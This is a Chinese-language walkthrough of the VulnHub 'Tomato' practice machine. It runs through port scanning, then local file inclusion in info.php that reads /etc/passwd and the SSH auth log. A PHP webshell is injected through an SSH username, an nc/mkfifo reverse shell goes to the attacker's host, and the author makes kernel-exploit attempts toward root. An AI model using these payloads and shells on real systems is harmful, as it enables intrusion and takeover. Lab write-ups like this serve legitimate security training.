vulnhub TOMATO靶场

1.信息收集

扫描存活主机

sudo arp-scan -l

扫描开放端口

nmap -p- 192.168.42.152

扫描开放端口服务

nmap -p 21,80,2211,8888 -A -sV -T4 192.168.42.152

查看网站指纹

whatweb 192.168.42.152

2.漏洞挖掘

访问网站

http://192.168.42.152:80

只有一张tomato照片

F12源代码也没有线索

接着访问8888端口,弱密码登录不成功

只好找找敏感路径

dirb http://192.168.42.152

逛逛找到的路径

http://192.168.42.152/antibot_image

找到一个phpinfo界面

http://192.168.42.152/antibot_image/antibots/info.php

查看源代码发现get传参image

http://192.168.42.152/antibot_image/antibots/info.php?image=/etc/passwd

读取成功

既然可以,尝试一下读取日志

ssh的登录日志(在这里也可以是我们发现的指纹apache的日志)

/var/log/auth.log

http://192.168.42.152/antibot_image/antibots/info.php?image=/var/log/auth.log

访问成功

3.漏洞利用

尝试通过ssh登录上传一句话木马

扫描出2211为SSH服务

ssh '<?php system($_GET[cmd]);?>'@192.168.42.152 -p 2211

打开蚁剑,连接成功

url

http://192.168.42.152/antibot_image/antibots/info.php?image=/var/log/auth.log

密码

cmd

nc反弹shell

发现-e命令没有

使用以下命令

mkfifo /tmp/f

cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.42.145 8888 > /tmp/f

反弹成功

nc -lvp 8888

4.提升权限(失败,但有解决方法,有成功案例)

把本地改为交互式终端

python3 -c "import pty;pty.spawn('/bin/bash')"

查看内核版本,尝试内核提权

uname -a

查找内核漏洞

searchsploit Linux ubuntu 4.4.0-21

选择其中之一,下载exp

searchsploit -m linux_x86-64/local/40049.c

用蚁剑上传/tmp目录

/tmp普通用户权限高

4.1错误一:无gcc环境

编译exp文件

gcc decr.c -m32 -O2 -o decr

gcc pwn.c -O2 -o pwn

./decr

./pwn

发现无gcc环境,想着解决这个问题,在本地编译好,直接在靶机上运行

他是32位的环境,我打算找找新的exp

4.2错误二:

下载新的exp

git clone https://github.com/kkamagui/linux-kernel-exploits.git

上传错误“GLIBC_2.34”,

这个错误提示意味着你的Docker容器中缺少GLIBC_2.34版本的依赖库

GLIBC(GNU C Library)是Linux系统上最常用的C库之一,它提供了许多基本的系统函数和工具。它是Linux系统与应用程序之间的接口,用于提供操作系统级别的功能和服务。

好像可以下载对应的版本可以修复(可以试试)

但作为hack,而且下载也不一定有权限,放弃

4.3他人的成功案例

下一台与靶机环境相同或相似的环境

在该环境下编译,把编译好的exp上传靶机

在靶机上赋权,执行,得到root权限

提权成功

热门相关:魔葫   我有一个进化点   一念路向北(刘恺威主演电视剧原著)   苏医生,你笑起来很好看   娶一送一:爹地,放开我妈咪!